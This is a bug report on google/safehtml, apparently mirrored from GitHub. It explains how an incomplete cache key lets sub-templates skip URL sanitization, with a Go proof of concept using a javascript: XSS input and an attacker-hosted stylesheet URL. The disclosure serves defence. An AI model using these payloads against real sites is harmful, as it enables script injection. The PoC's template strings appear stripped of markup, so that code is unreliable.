google / google/safehtml

safehtml/template: escapeTree's cache key is coarser than context equality, so a sub-template can be escaped for the wrong context

Open
#16 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Go
Stars
380
Forks
23
PR merge metrics
No merged PRs in 30d

Description

Hi,

safehtml/template escapes each sub-template once and caches the result under a name produced by mangle(). The cache key omits fields that genuinely change the sanitization context, so a {{template}} invoked from two different places is escaped using only the first call site's context and the cached result is reused at the second. If the first call site sits in a weaker context, the second one silently loses its sanitizer. The template text is a constant throughout; only the data passed to Execute is attacker controlled.

context.eq (template/context.go:42) compares state, delim, element, attr, err, scriptType and linkRel. mangle (template/escape.go:464) builds its key from state, delim, attr.name and element.name only, because attr.String() (template/context.go:183) is just "attr" + name. attr.value, scriptType and linkRel never reach the key. escapeTree (template/escape.go:488) then returns e.output[dname] on a hit, so two contexts that context.eq considers unequal collide.

Two of the missing fields are load bearing.

attr.value picks the URL sanitizer in sanitizersForAttributeValue (template/sanitize.go:100 onward). An empty prefix gets _sanitizeTrustedResourceURLOrURL, which runs URLSanitized and rejects javascript:. A non-empty prefix containing no "#" or "?" gets only _normalizeURL, which performs no scheme check at all. Calling the same sub-template first from href="/safe/..." and then from href="..." caches the weaker chain and applies it to both.

linkRel picks the contract for a href in sanitizationContextForAttrVal (template/sanitize.go:148). rel="prefetch" yields TrustedResourceURLOrURL, rel="stylesheet" yields TrustedResourceURL. A prefetch call site seen first makes the stylesheet call site accept a plain string.

Minimal PoC against current safehtml:

```
mkdir poc && cd poc
go mod init poc
go get github.com/google/safehtml@v0.1.0
# save the file below as main.go
go run .

```

```
package main

import (
"fmt"
"strings"

"github.com/google/safehtml/template"
)

func render(label string, t *template.Template, err error, x string) {
if err != nil {
fmt.Printf("%-16s parse rejected: %v\n", label, err)
return
}
var out strings.Builder
if err := t.Execute(&out, map[string]interface{}{"X": x}); err != nil {
fmt.Printf("%-16s rejected: %v\n", label, err)
return
}
fmt.Printf("%-16s %s\n", label, out.String())
}

func main() {
fmt.Println("A. attr.value is not in the cache key")
a, aerr := template.New("a").Parse(
`x` +
`{{define "T"}}{{.X}}{{end}}`)
render(" alone:", a, aerr, "javascript:alert(1)")

b, berr := template.New("b").Parse(
`x` +
`y` +
`{{define "T"}}{{.X}}{{end}}`)
render(" after a call:", b, berr, "javascript:alert(1)")

fmt.Println("\nB. linkRel is not in the cache key")
c, cerr := template.New("c").Parse(
`` +
`{{define "T"}}{{.X}}{{end}}`)
render(" alone:", c, cerr, "//evil.example/x.css")

d, derr := template.New("d").Parse(
`` +
`` +
`{{define "T"}}{{.X}}{{end}}`)
render(" after a call:", d, derr, "//evil.example/x.css")
}

```

Actual output:

```
A. attr.value is not in the cache key
alone: x
after a call: xy

B. linkRel is not in the cache key
alone: rejected: template: c:1:65: executing "T$htmltemplate_StateAttr_DelimDoubleQuote_attrHref_elementLink" at <_sanitizeTrustedResourceURL>: error calling _sanitizeTrustedResourceURL: expected a safehtml.TrustedResourceURL value
after a call:

```

In both pairs the sub-template on its own is handled correctly, and adding one earlier call site is what breaks it. Browsers percent decode the body of a javascript: URL before evaluating it, so href="javascript:alert%281%29" executes. The linkRel case defeats the TrustedResourceURL requirement on `` and loads a stylesheet from an origin the attacker chose. Both outcomes are exactly what the package exists to make unrepresentable, and because the trigger is an unrelated call site elsewhere in the template set, adding, reordering or deleting one can turn an application vulnerable with no change to the code under review.

Suggested fix: make the cache key agree with context.eq. Either include attr.value, attr.ambiguousValue, scriptType and linkRel in the mangled name, or key e.output on the context value itself rather than on a string derived from part of it.

### Attack scenario

- attr.value collision: attacker input can become a javascript: link instead of about:invalid. Clicking it gives JavaScript execution in the application's origin---effectively reflected/stored XSS depending on the data source. CSP may mitigate this, and this specific PoC requires user interaction.
- linkRel collision: attacker input can bypass the TrustedResourceURL requirement and load attacker-controlled CSS as a stylesheet. Consequences include UI manipulation, phishing, and potentially data leakage; CSP style-src may mitigate it.

Contributor guide

Open the contributing guide

Research direction

Start with context.eq in template/context.go:42, then compare it with mangle and escapeTree in template/escape.go:464-488. Read the sanitizer decisions in template/sanitize.go:100 onward and reproduce both supplied PoCs to understand the cache collisions. Done means contexts that differ in the fields checked by context.eq no longer reuse an incompatible escaped result, and both examples retain their required sanitization.

Written by the indexing model from the issue text.

Assessment

Tech stack
go
Domain
security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
48/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.